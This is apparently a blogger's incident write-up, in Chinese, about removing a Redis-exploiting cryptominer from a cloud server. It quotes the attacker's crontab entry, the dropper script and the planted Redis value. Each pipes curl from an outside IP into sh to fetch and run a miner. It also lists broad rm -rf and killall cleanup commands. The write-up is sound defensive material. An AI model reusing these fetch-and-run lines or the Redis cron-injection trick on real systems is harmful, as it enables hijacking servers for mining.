记一次服务器被入侵排查清除经历

作者 jooop 日期 2017-04-19
记一次服务器被入侵排查清除经历

问题

昨晚凌晨三点突然收到阿里云的提示邮件,说我的服务器存在恶意发包行为,打开手机端阿里云控制台中ECS各项数组都满载,因为当时不便使用电脑,且服务器中并没有较为重要的服务,所以第一时间选择了关闭服务器。
今天打开服务器后排查,查看crontab任务,发现自己之前的任务被删除,并修改为*/5 * * * * curl -fsSL http://218.38.3.16:9999/i.sh?8 | sh
其中脚本内容如下:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.38.3.16:9999/i.sh?8 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.38.3.16:9999/i.sh?8 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.1007" ]; then
curl -fsSL http://218.38.3.16:9999/1007/ddg.$(uname -m) -o /tmp/ddg.1007
fi
chmod +x /tmp/ddg.1007 && /tmp/ddg.1007

排查

查了下此为挖矿程序,多数是由于redis未授权漏洞导致的,想了下两天前安装过redis,并且为了远程使用确实打开了远程登录,去redis下查看keys,发现果然多了一条”wgnnjlkona”,其value为"\n\n*/1 * * * * curl -fsSL http://104.156.239.160:8081/conn.sh | sh \n\n"

解决:

  • 删除该key。并修改配置文件,关闭redis远程访问服务(或设置密码)。
  • 删除crontab中的任务。
  • 关闭访问挖矿服务器的访问:iptables -A INPUT -s xmr.crypto-pool.fr -j DROPiptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
  • 执行常见木马清理命令chattr -i /usr/bin/.sshd; rm -f /usr/bin/.sshd; chattr -i /usr/bin/.swhd; rm -f /usr/bin/.swhd; rm -f -r /usr/bin/bsd-port; cp /usr/bin/dpkgd/ps /bin/ps; cp /usr/bin/dpkgd/netstat /bin/netstat; cp /usr/bin/dpkgd/lsof /usr/sbin/lsof; cp /usr/bin/dpkgd/ss /usr/sbin/ss;rm -r -f /root/.ssh; rm -r -f /usr/bin/bsd-port;find /proc/ -name exe | xargs ls -l | grep -v task |grep deleted| awk '{print $11}' | awk -F/ '{print $NF}' | xargs killall -9;
  • 去tmp目录下删除相应的ddg.1007wnTKYgdump.rdbrootAegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>等文件。
  • 去root目录查看所有文件,删除可疑的文件和文件夹包括/.ssh/.ddg